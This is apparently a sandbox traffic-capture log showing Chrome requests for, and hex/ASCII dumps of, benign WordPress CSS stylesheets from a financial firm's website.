2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 69 73 2d 73 74 79 6c 65 2d 77 69 64 65 29 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 77 69 64 74 68 3a 31 30 30 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 31 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 77 69 64 65 29 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 68 65 69 67 68 74 3a 32 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c Data Ascii: is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-bl
2024-04-11 20:34:53 UTC	1378	IN	Data Raw: 20 23 66 66 36 39 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 3a 20 23 66 63 62 39 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 23 37 62 64 63 62 35 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 23 30 30 64 30 38 34 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 3a 20 23 38 65 64 31 66 63 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 3a 20 23 30 36 39 33 65 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--pres

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	624	OUT	GET /wp-includes/css/dist/block-library/style.min.css?ver=4a124e090d7ee965f75f11dee143117d HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:54 UTC	715	IN	HTTP/1.1 200 OK Connection: close Content-Length: 110147 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "65b959af-1ae43" last-modified: Tue, 30 Jan 2024 20:18:55 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-ewr18146-EWR, cache-ewr18177-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867694.106194,VS0,VE109 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 20 69 6d 67 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 Data Ascii: @charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-a
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 64 74 68 2d 37 35 7b 77 69 64 74 68 3a 63 61 6c 63 28 37 35 25 20 2d 20 76 61 72 28 2d 2d 77 70 2d 2d 73 74 79 6c 65 2d 2d 62 6c 6f 63 6b 2d 67 61 70 2c 20 2e 35 65 6d 29 2a 2e 32 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 77 69 64 74 68 2d 31 30 30 7b 66 6c 65 78 2d 62 61 73 69 73 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 69 73 2d 76 65 72 74 69 63 61 6c 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 77 69 64 74 68 2d 32 35 7b 77 69 64 74 68 3a 32 35 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 69 73 Data Ascii: dth-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2a 3d 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 5d 29 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 6d 65 64 69 75 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 77 68 65 72 65 28 5b 73 74 79 6c 65 2a 3d 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 5d 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 6d 65 64 69 75 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 77 68 65 72 65 28 5b 73 74 79 6c 65 2a 3d 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 5d 29 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 6d 65 64 69 75 6d 7d 2e 77 70 2d Data Ascii: =border-right-color]){border-right-width:medium}.wp-block-button .wp-block-button__link:where([style=border-bottom-color]){border-bottom-width:medium}.wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-left-width:medium}.wp-
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 65 6e 64 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 3a 6e 6f 74 28 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 73 70 61 63 65 2d 62 65 74 77 65 65 6e 2c 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 72 69 67 68 74 2c 2e 69 73 2d Data Ascii: {align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6c 65 66 74 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 61 74 65 67 6f 72 69 65 73 2e 61 6c 69 67 6e 72 69 67 68 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 61 74 65 67 6f 72 69 65 73 2e 77 70 2d 62 6c 6f 63 6b 2d 63 61 74 65 67 6f 72 69 65 73 2d 64 72 6f 70 64 6f 77 6e 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 64 65 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 64 65 20 63 6f 64 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 6f 76 65 72 66 6c 6f 77 2d 77 72 61 70 3a Data Ascii: left{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-code{box-sizing:border-box}.wp-block-code code{display:block;font-family:inherit;overflow-wrap:
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 78 2d 67 72 6f 77 3a 31 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 3b 6f 76 65 72 66 6c 6f 77 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2e 69 73 2d 76 65 72 74 69 63 61 6c 6c 79 2d 61 6c 69 67 6e 65 64 2d 74 6f 70 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2e 69 73 2d 76 65 72 74 69 63 61 6c 6c 79 2d 61 6c 69 67 6e 65 64 2d 63 65 6e 74 65 72 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2e 69 73 2d 76 65 72 74 69 63 61 6c 6c 79 2d 61 6c 69 67 6e 65 64 2d 62 6f 74 74 6f 6d 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 Data Ascii: x-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:f
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 6d 65 74 61 20 62 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 6d 65 74 61 20 2e 63 6f 6d 6d 65 6e 74 2d 61 77 61 69 74 69 6e 67 2d 6d 6f 64 65 72 61 74 69 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 62 6f 64 79 20 2e 63 6f 6d 6d 65 6e 74 6d 65 74 61 64 61 74 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d Data Ascii: p-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 29 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 6e 65 78 74 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 6e 75 6d 62 65 72 73 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 70 72 65 76 69 6f 75 73 7b 6d 61 72 67 69 6e 2d 62 Data Ascii: ost-comments input[type=submit]){border:none}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-b
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 2d 6d 6f 7a 2d 66 69 74 2d 63 6f 6e 74 65 6e 74 3b 77 69 64 74 68 3a 66 69 74 2d 63 6f 6e 74 65 6e 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 2d 74 65 6d 70 6c 61 74 65 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 35 30 25 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f Data Ascii: er{margin-left:auto;margin-right:auto;width:-moz-fit-content;width:fit-content}.wp-block-comment-template.alignright{float:right}.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-co
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 31 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 31 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 31 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 Data Ascii: as-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-grad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	595	OUT	GET /wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:54 UTC	710	IN	HTTP/1.1 200 OK Connection: close Content-Length: 374 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "64949964-176" last-modified: Thu, 22 Jun 2023 18:56:36 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-ewr18157-EWR, cache-ewr18173-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867694.400181,VS0,VE182 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:54 UTC	374	IN	Data Raw: 2f 2a 0a 44 65 66 61 75 6c 74 20 73 74 79 6c 65 20 66 6f 72 20 57 50 2d 50 61 67 65 4e 61 76 69 20 70 6c 75 67 69 6e 0a 0a 68 74 74 70 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 65 78 74 65 6e 64 2f 70 6c 75 67 69 6e 73 2f 77 70 2d 70 61 67 65 6e 61 76 69 2f 0a 2a 2f 0a 0a 2e 77 70 2d 70 61 67 65 6e 61 76 69 20 7b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 0a 2e 77 70 2d 70 61 67 65 6e 61 76 69 20 61 2c 20 2e 77 70 2d 70 61 67 65 6e 61 76 69 20 73 70 61 6e 20 7b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 46 42 46 42 46 3b 0a 09 70 61 64 64 69 6e 67 3a 20 33 70 78 20 35 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 32 70 78 3b 0a 7d 0a 0a 2e 77 70 2d 70 Data Ascii: /Default style for WP-PageNavi pluginhttp://wordpress.org/extend/plugins/wp-pagenavi//.wp-pagenavi {clear: both;}.wp-pagenavi a, .wp-pagenavi span {text-decoration: none;border: 1px solid #BFBFBF;padding: 3px 5px;margin: 2px;}.wp-p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:54 UTC	621	OUT	GET /wp-content/themes/x/framework/dist/css/site/stacks/integrity-light.css?ver=10.4.16 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:54 UTC	715	IN	HTTP/1.1 200 OK Connection: close Content-Length: 191363 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/css x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "6617c410-2eb83" last-modified: Thu, 11 Apr 2024 11:05:52 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:54 GMT X-Served-By: cache-ewr18131-EWR, cache-ewr18147-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867694.404419,VS0,VE182 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 68 74 6d 6c 7b 2d 77 65 62 6b 69 74 2d 74 65 78 Data Ascii: @charset "UTF-8";article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}html{-webkit-tex
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 7d 61 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 3a 68 6f 76 65 72 2c 61 3a 61 63 74 69 76 65 2c 5b 74 61 62 69 6e 64 65 78 3d 22 2d 31 22 5d 7b 6f 75 74 6c 69 6e 65 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 78 2d 72 6f 6f 74 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 61 64 6d 69 6e 2d 62 61 72 20 2e 78 2d 72 6f 6f 74 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d Data Ascii: ing:border-box}html{overflow-x:hidden;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{margin:0;overflow-x:hidden}a{text-decoration:none}a:hover,a:active,[tabindex="-1"]{outline:0!important}.x-root{min-height:100vh}.admin-bar .x-root{min-height:calc(100vh -
2024-04-11 20:34:54 UTC	1378	IN	Data Raw: 2c 2e 78 2d 73 69 74 65 3a 62 65 66 6f 72 65 2c 2e 78 2d 73 69 74 65 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 77 69 64 74 68 3a 30 70 78 7d 2e 73 69 74 65 3a 61 66 74 65 72 2c 2e 78 2d 73 69 74 65 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 78 2d 62 6f 78 65 64 2d 6c 61 79 6f 75 74 2d 61 63 74 69 76 65 20 2e 73 69 74 65 2c 2e 78 2d 62 6f 78 65 64 2d 6c 61 79 6f 75 74 2d 61 63 74 69 76 65 20 2e 78 2d 73 69 74 65 7b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 37 35 29 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: ,.x-site:before,.x-site:after{content:" ";display:table;width:0px}.site:after,.x-site:after{clear:both}.x-boxed-layout-active .site,.x-boxed-layout-active .x-site{margin:0 auto;border:1px solid rgba(0,0,0,.275);border-top:0;border-bottom:0;background-colo
